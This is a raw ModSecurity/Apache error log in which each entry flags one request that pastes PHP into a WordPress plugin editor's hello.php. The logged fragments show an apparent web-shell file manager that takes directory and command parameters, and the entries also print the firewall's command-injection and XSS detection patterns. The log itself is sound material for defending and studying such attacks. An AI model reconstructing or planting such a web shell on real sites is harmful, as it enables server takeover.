"ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.925748 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:\\\\bhttp/\\\\d|<(?:html|meta)\\\\b)" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf"] [line "107"] [id "921130"] [msg "HTTP Response Splitting Attack"] [data "Matched Data: <html found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixe..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272/220/34"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.928372 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "122"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;\\x0d\\x0a\\x0d\\x0afunction found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);..."] [severity "CRITICAL"] [ver "OWASP [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.933563 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "255"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {\\x0d\\x0a                        echo found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($..."] [severity "CRITICAL"] [ver "OW [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.946086 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "412"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if(!is_dir($current_dir)) { $current_dir = dirname(__file__) } $items = scandir($current_dir) function formatbytes($size $precision = 2) { $base = log($size 1024) $suffixes = array( kb mb gb tb) return round(pow(1024 $base - floor($base)) $precision) . . $suffixes[floor($base)] } $parent_dir = dirname($current_dir) $editfilecontent = $directory = isset($_get[dir]) ? $_get[dir] : . $directory = realpath($directory) ?: . $output =// variable to store command output if(isset($_post[action])) {..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "l [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.946795 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "463"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: =\\x22command\\x22  found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a..."] [severity "CRITICAL"] [ver [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.947514 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Matched phrase "$PATH" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: $PATH found within ARGS:newcontent: <?php ini_set(display_errors 0)/ get current directory or default to root(htdocs) $current_dir = isset($_get[dir]) ? $_get[dir] : dirname(__file__) if(!is_dir($current_dir)) { $current_dir = dirname(__file__) } $items = scandir($current_dir) function formatbytes($size $precision = 2) { $base = log($size 1024) $suffixes = array( kb mb gb tb) return round(pow(1024 $base - floor($base)) $precision) . . $suffixes[floor($base)] } $parent_dir = dirname($current..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.948223 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "65"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixes ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.948947 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Matched phrase "=" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "131"] [id "933120"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a/ get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixes = a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.949550 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Matched phrase "$_GET" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "160"] [id "933130"] [msg "PHP Injection Attack: Variables Found"] [data "Matched Data: $_GET found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a/ get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixes..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.950721 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "294"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.951479 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "348"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: ini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixes = array('', 'KB', 'MB', 'GB', 'TB');   \\x0d\\x0a    retu..."] [severity "CRITICAL"] [ver [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.952681 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\"|'))" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "502"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: (\\x22/\\x22) / (1024 * 1024 * 1024); // in GB $hddTotalSpace = disk_total_space(\\x22/\\x22) / (1024 * 1024 * 1024); // in GB $serverIP = $_SERVER['SERVER_ADDR']; $clientIP = $_SERVER['REMOTE_ADDR']; $cwd = getcwd(); $parentDirectory = dirname($directory); $breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory); $breadcrumbLinks = []; $breadcrumbPath = ''; foreach ($breadcrumbs as $crumb) { $breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR; $breadcrumbLinks[] = '<a href=\\x22?dir=' . urlencode(rt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag " [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.953820 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "55"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suff..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.954592 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i)<script[^>]*>[\\\\s\\\\S]*?" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "82"] [id "941110"] [msg "XSS Filter - Category 1: Script Tag Vector"] [data "Matched Data: <script src=\\x22\\x22> found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.957947 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i)(?:<(?:(?:apple|objec)t|isindex|embed|style|form|meta)\\\\b[^>]*?>[\\\\s\\\\S]*?|(?:=|U\\\\s*?R\\\\s*?L\\\\s*?\\\\()\\\\s*?[^>]*?\\\\s*?S\\\\s*?C\\\\s*?R\\\\s*?I\\\\s*?P\\\\s*?T\\\\s*?:)" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "164"] [id "941140"] [msg "XSS Filter - Category 4: Javascript URI Vector"] [data "Matched Data: <meta charset=\\x22UTF-8\\x22> found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 102..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack- [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.959028 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i:(?:<\\\\w[\\\\s\\\\S]*[\\\\s\\\\/]|['\\"](?:[\\\\s\\\\S]*[\\\\s\\\\/])?)(?:on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)|op)|i(?:s(?:c(?:hargingtimechange ..." at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "199"] [id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"] [data "Matched Data: 'display_errors', 0);\\x0d\\x0a\\x0d\\x0a// Get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__FILE__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatBytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixes = array('', 'KB', 'MB', 'GB', 'TB');   \\x0d\\x0a    return round..."] [severity "CRITICAL"] [ver "OWASP_CR [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.960810 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Matched phrase "<!--" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "250"] [id "941180"] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: <!-- found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display_errors', 0);\\x0d\\x0a\\x0d\\x0a// get current directory or default to root (htdocs)\\x0d\\x0a$current_dir = isset($_get['dir']) ? $_get['dir'] : dirname(__file__);\\x0d\\x0a\\x0d\\x0aif (!is_dir($current_dir)) {\\x0d\\x0a    $current_dir = dirname(__file__);\\x0d\\x0a}\\x0d\\x0a\\x0d\\x0a$items = scandir($current_dir);\\x0d\\x0a\\x0d\\x0afunction formatbytes($size, $precision = 2) {\\x0d\\x0a    $base = log($size, 1024);\\x0d\\x0a    $suffixes..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
[Tue Apr 29 21:33:22.961621 2025] [:error] [pid 2995134:tid 140283496887872] [client 104.28.247.133:17045] [client 104.28.247.133] ModSecurity: Warning. Pattern match "(?i:<style.*?>.*?(?:@[i\\\\\\\\]|(?:[:=]|&#x?0*(?:58|3A|61|3D);?).*?(?:[(\\\\\\\\]|&#x?0*(?:40|28|92|5C);?)))" at ARGS:newcontent. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "277"] [id "941190"] [msg "IE XSS Filters - Attack Detected"] [data "Matched Data: <style>\\x0d\\x0a        body {\\x0d\\x0a            font-family: Arial, sans-serif;\\x0d\\x0a            margin: 0;\\x0d\\x0a            padding: 0;\\x0d\\x0a            background-color: #f4f4f4;\\x0d\\x0a        }\\x0d\\x0a        .file-manager {\\x0d\\x0a            width: 80%;\\x0d\\x0a            margin: 20px auto;\\x0d\\x0a            background-color: #fff;\\x0d\\x0a            padding: 20px;\\x0d\\x0a            box-shadow: 0 0 10px rgba( found within ARGS:newcontent: <?php\\x0d\\x0a\\x0d\\x0aini_set('display..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242 [hostname "ysbbs.or.kr"] [uri "/wordpress/wp-admin/plugin-editor.php"] [unique_id "aBDHEowRh61cZfh1vMLtawAAAZc"], referer: https://ysbbs.or.kr/wordpress/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
